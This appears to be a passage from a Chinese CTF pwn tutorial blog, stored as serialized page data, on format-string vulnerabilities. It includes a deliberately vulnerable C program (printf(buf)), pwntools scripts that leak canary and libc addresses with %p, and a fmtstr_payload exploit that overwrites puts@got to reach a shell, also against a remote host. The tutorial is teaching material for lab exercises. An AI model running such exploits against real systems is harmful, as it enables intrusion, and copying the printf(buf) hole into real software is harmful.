libc",[16,2453,2454,2456],{},[28,2455,253],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[16,2458,2459,2461,2462,2465,2466,2469],{},[28,2460,259],{},"：不同数据在栈上有固定特征——canary 以 ",[20,2463,2464],{},"00"," 结尾，libc 地址以 ",[20,2467,2468],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[16,2471,2472,2473,2432,2475,2478],{},"把 ",[20,2474,2446],{},[20,2476,2477],{},"%40$p"," 全部打出来，识别特征值：",[295,2480,2481,2491],{},[298,2482,2483],{},[301,2484,2485,2488],{},[304,2486,2487],{},"值特征",[304,2489,2490],{},"内容",[314,2492,2493,2504,2515,2525],{},[301,2494,2495,2501],{},[319,2496,2497,2498,2500],{},"以 ",[20,2499,2464],{}," 结尾的随机值",[319,2502,2503],{},"canary",[301,2505,2506,2512],{},[319,2507,2508,2511],{},[20,2509,2510],{},"0x7fff"," 开头",[319,2513,2514],{},"栈地址",[301,2516,2517,2522],{},[319,2518,2519,2511],{},[20,2520,2521],{},"0x55/0x56",[319,2523,2524],{},"程序代码地址（PIE 基址相关）",[301,2526,2527,2531],{},[319,2528,2529,2511],{},[20,2530,2468],{},[319,2532,2533],{},"libc 地址",[40,2535,2537],{"className":384,"code":2536,"language":386,"meta":45,"style":45},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[20,2538,2539,2544,2549,2553,2558,2563,2567,2572,2577,2582],{"__ignoreMap":45},[49,2540,2541],{"class":51,"line":52},[49,2542,2543],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[49,2545,2546],{"class":51,"line":69},[49,2547,2548],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[49,2550,2551],{"class":51,"line":108},[49,2552,588],{},[49,2554,2555],{"class":51,"line":115},[49,2556,2557],{},"out = p.recvall().decode().split('.')\n",[49,2559,2560],{"class":51,"line":121},[49,2561,2562],{},"# 按点号切分，得到每个位置的值。\n",[49,2564,2565],{"class":51,"line":127},[49,2566,112],{"emptyLinePlaceholder":111},[49,2568,2569],{"class":51,"line":133},[49,2570,2571],{},"for i, v in enumerate(out):\n",[49,2573,2574],{"class":51,"line":138},[49,2575,2576],{},"    if v.endswith('00') and len(v) == 18:\n",[49,2578,2579],{"class":51,"line":144},[49,2580,2581],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[49,2583,2584],{"class":51,"line":150},[49,2585,2586],{},"        print(f'possible canary at {i+6}: {v}')\n",[16,2588,2589],{},"泄露 libc 地址后：",[40,2591,2593],{"className":384,"code":2592,"language":386,"meta":45,"style":45},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[20,2594,2595],{"__ignoreMap":45},[49,2596,2597],{"class":51,"line":52},[49,2598,2592],{},[16,2600,2601],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[11,2603,2605],{"id":2604},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[16,2607,2608,2610],{},[28,2609,253],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[16,2612,2613,88,2615,2617,2618,2621,2622,2625],{},[28,2614,259],{},[20,2616,2141],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[20,2619,2620],{},"%100c"," 精确控制打印量，再用 ",[20,2623,2624],{},"%N$n"," 写到目标地址。",[16,2627,2628,2630],{},[20,2629,2141],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[40,2632,2635],{"className":2633,"code":2634,"language":288,"meta":45},[286],"%100c%7$n\n",[20,2636,2634],{"__ignoreMap":45},[16,2638,1430],{},[1869,2640,2641,2646],{},[1872,2642,2643,2645],{},[20,2644,2620],{}," 打印 100 个填充字符，已打印数变成 100。",[1872,2647,2648,2651],{},[20,2649,2650],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[16,2653,2654],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[295,2656,2657,2667],{},[298,2658,2659],{},[301,2660,2661,2664],{},[304,2662,2663],{},"说明符",[304,2665,2666],{},"写入字节数",[314,2668,2669,2678,2688],{},[301,2670,2671,2675],{},[319,2672,2673],{},[20,2674,2141],{},[319,2676,2677],{},"4 字节",[301,2679,2680,2685],{},[319,2681,2682],{},[20,2683,2684],{},"%hn",[319,2686,2687],{},"2 字节",[301,2689,2690,2695],{},[319,2691,2692],{},[20,2693,2694],{},"%hhn",[319,2696,2697],{},"1 字节",[11,2699,2701],{"id":2700},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[16,2703,2704,2706,2707,2709,2710,2712],{},[28,2705,253],{},"：把程序即将调用的 ",[20,2708,1879],{}," 改成我们的 ",[20,2711,357],{},"，实现控制流劫持。",[16,2714,2715,88,2717,2720],{},[28,2716,259],{},[20,2718,2719],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[16,2722,2723,2724,88],{},"目标程序 ",[20,2725,2726],{},"fmt2.c",[40,2728,2730],{"className":91,"code":2729,"language":93,"meta":45,"style":45},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[20,2731,2732,2736,2740,2744,2748,2752,2756,2760,2764,2768,2772,2776,2780,2784,2789,2793],{"__ignoreMap":45},[49,2733,2734],{"class":51,"line":52},[49,2735,100],{},[49,2737,2738],{"class":51,"line":69},[49,2739,105],{},[49,2741,2742],{"class":51,"line":108},[49,2743,112],{"emptyLinePlaceholder":111},[49,2745,2746],{"class":51,"line":115},[49,2747,118],{},[49,2749,2750],{"class":51,"line":121},[49,2751,124],{},[49,2753,2754],{"class":51,"line":127},[49,2755,130],{},[49,2757,2758],{"class":51,"line":133},[49,2759,112],{"emptyLinePlaceholder":111},[49,2761,2762],{"class":51,"line":138},[49,2763,169],{},[49,2765,2766],{"class":51,"line":144},[49,2767,2173],{},[49,2769,2770],{"class":51,"line":150},[49,2771,175],{},[49,2773,2774],{"class":51,"line":156},[49,2775,2182],{},[49,2777,2778],{"class":51,"line":161},[49,2779,2187],{},[49,2781,2782],{"class":51,"line":166},[49,2783,2192],{},[49,2785,2786],{"class":51,"line":172},[49,2787,2788],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[49,2790,2791],{"class":51,"line":178},[49,2792,199],{},[49,2794,2795],{"class":51,"line":184},[49,2796,130],{},[40,2798,2800],{"className":42,"code":2799,"language":44,"meta":45,"style":45},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[20,2801,2802,2818],{"__ignoreMap":45},[49,2803,2804,2806,2808,2811,2814,2816],{"class":51,"line":52},[49,2805,217],{"class":55},[49,2807,221],{"class":220},[49,2809,2810],{"class":59}," fmt2",[49,2812,2813],{"class":59}," fmt2.c",[49,2815,230],{"class":220},[49,2817,233],{"class":220},[49,2819,2820,2822,2824,2827],{"class":51,"line":69},[49,2821,273],{"class":55},[49,2823,276],{"class":59},[49,2825,2826],{"class":59}," ./fmt2",[49,2828,2829],{"class":238},"     # 需为 Partial RELRO，GOT 可写\n",[16,2831,2832],{},"利用脚本：",[40,2834,2836],{"className":384,"code":2835,"language":386,"meta":45,"style":45},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[20,2837,2838,2842,2846,2851,2856,2861,2865,2870,2875,2880,2885,2890,2895,2900,2904,2908],{"__ignoreMap":45},[49,2839,2840],{"class":51,"line":52},[49,2841,393],{},[49,2843,2844],{"class":51,"line":69},[49,2845,112],{"emptyLinePlaceholder":111},[49,2847,2848],{"class":51,"line":108},[49,2849,2850],{},"context.binary = elf = ELF('./fmt2')\n",[49,2852,2853],{"class":51,"line":115},[49,2854,2855],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[49,2857,2858],{"class":51,"line":121},[49,2859,2860],{},"p = process('./fmt2')\n",[49,2862,2863],{"class":51,"line":127},[49,2864,112],{"emptyLinePlaceholder":111},[49,2866,2867],{"class":51,"line":133},[49,2868,2869],{},"offset = 6\n",[49,2871,2872],{"class":51,"line":138},[49,2873,2874],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[49,2876,2877],{"class":51,"line":144},[49,2878,2879],{},"# fmtstr_payload(offset, writes)：\n",[49,2881,2882],{"class":51,"line":150},[49,2883,2884],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[49,2886,2887],{"class":51,"line":156},[49,2888,2889],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[49,2891,2892],{"class":51,"line":161},[49,2893,2894],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[49,2896,2897],{"class":51,"line":166},[49,2898,2899],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[49,2901,2902],{"class":51,"line":172},[49,2903,112],{"emptyLinePlaceholder":111},[49,2905,2906],{"class":51,"line":178},[49,2907,588],{},[49,2909,2910],{"class":51,"line":184},[49,2911,676],{},[16,2913,2914,2917],{},[20,2915,2916],{},"fmtstr_payload"," 自动完成：",[1869,2919,2920,2925,2932,2941],{},[1872,2921,2472,2922,2924],{},[20,2923,357],{}," 地址拆成低 2 字节和高 2 字节。",[1872,2926,2927,2928,2931],{},"生成 ",[20,2929,2930],{},"%c"," 控制打印量。",[1872,2933,2934,2935,531,2937,2940],{},"把两个目标地址（",[20,2936,2719],{},[20,2938,2939],{},"puts@got+2","）放到对应参数位置。",[1872,2942,2943,2944,2946],{},"用 ",[20,2945,2684],{}," 分别写入。",[16,2948,2949,2950,2953,2954,2956],{},"预期结果：程序执行 ",[20,2951,2952],{},"puts(\"Done\")"," 时实际调用 ",[20,2955,701],{},"，进入 shell。",[11,2958,710],{"id":709},[295,2960,2961,2971],{},[298,2962,2963],{},[301,2964,2965,2967,2969],{},[304,2966,719],{},[304,2968,722],{},[304,2970,725],{},[314,2972,2973,2991,3003],{},[301,2974,2975,2977,2989],{},[319,2976,732],{},[319,2978,2979,531,2981,531,2984,741,2986],{},[20,2980,2916],{},[20,2982,2983],{},"FmtStr",[20,2985,751],{},[20,2987,2988],{},"recvuntil",[319,2990,755],{},[301,2992,2993,2995,2998],{},[319,2994,760],{},[319,2996,2997],{},"看 RELRO、Canary、PIE",[319,2999,3000],{},[20,3001,3002],{},"pwn checksec ./fmt2",[301,3004,3005,3007,3010],{},[319,3006,1969],{},[319,3008,3009],{},"断点、看栈、验证参数位置",[319,3011,3012,531,3015],{},[20,3013,3014],{},"break main",[20,3016,784],{},[11,3018,3020],{"id":3019},"九小-ctf-实战","九、小 CTF 实战",[16,3022,3023,3024,3027],{},"题目：远程运行 ",[20,3025,3026],{},"fmt2","（Partial RELRO、No PIE）。",[16,3029,3030,3032,3033,3036],{},[28,3031,259],{},"：与本地脚本唯一区别是 ",[20,3034,3035],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[40,3038,3040],{"className":384,"code":3039,"language":386,"meta":45,"style":45},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[20,3041,3042,3046,3050,3054,3059,3063,3068,3072,3076],{"__ignoreMap":45},[49,3043,3044],{"class":51,"line":52},[49,3045,393],{},[49,3047,3048],{"class":51,"line":69},[49,3049,112],{"emptyLinePlaceholder":111},[49,3051,3052],{"class":51,"line":108},[49,3053,2850],{},[49,3055,3056],{"class":51,"line":115},[49,3057,3058],{},"p = remote('1.2.3.4', 10002)\n",[49,3060,3061],{"class":51,"line":121},[49,3062,112],{"emptyLinePlaceholder":111},[49,3064,3065],{"class":51,"line":127},[49,3066,3067],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[49,3069,3070],{"class":51,"line":133},[49,3071,588],{},[49,3073,3074],{"class":51,"line":138},[49,3075,886],{},[49,3077,3078],{"class":51,"line":144},[49,3079,676],{},[16,3081,282],{},[40,3083,3086],{"className":3084,"code":3085,"language":288,"meta":45},[286],"flag{format_string}\n",[20,3087,3085],{"__ignoreMap":45},[11,3089,907],{"id":906},[16,3091,3092,3093,741,3095,3097,3098,3100],{},"格式化字符串提供两种原语：",[20,3094,2120],{},[20,3096,2135],{}," 任意读，",[20,3099,2141],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[921,3102,3103],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":45,"searchDepth":69,"depth":69,"links":3105},[3106,3107,3108,3109,3110,3111,3112,3113,3114,3115],{"id":2091,"depth":108,"text":2092},{"id":2145,"depth":108,"text":2146},{"id":2224,"depth":108,"text":2225},{"id":2280,"depth":108,"text":2281},{"id":2450,"depth":108,"text":2451},{"id":2604,"depth":108,"text":2605},{"id":2700,"depth":108,"text":2701},{"id":709,"depth":108,"text":710},{"id":3019,"depth":108,"text":3020},{"id":906,"depth":108,"text":907},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":939,"image":3118,"alt":3119,"tags":3120,"published":111},"/blogs-img/blog3.png","格式化字符串深入实战",[943,273,3121,944],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":2086,"description":3116},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",1786796568490]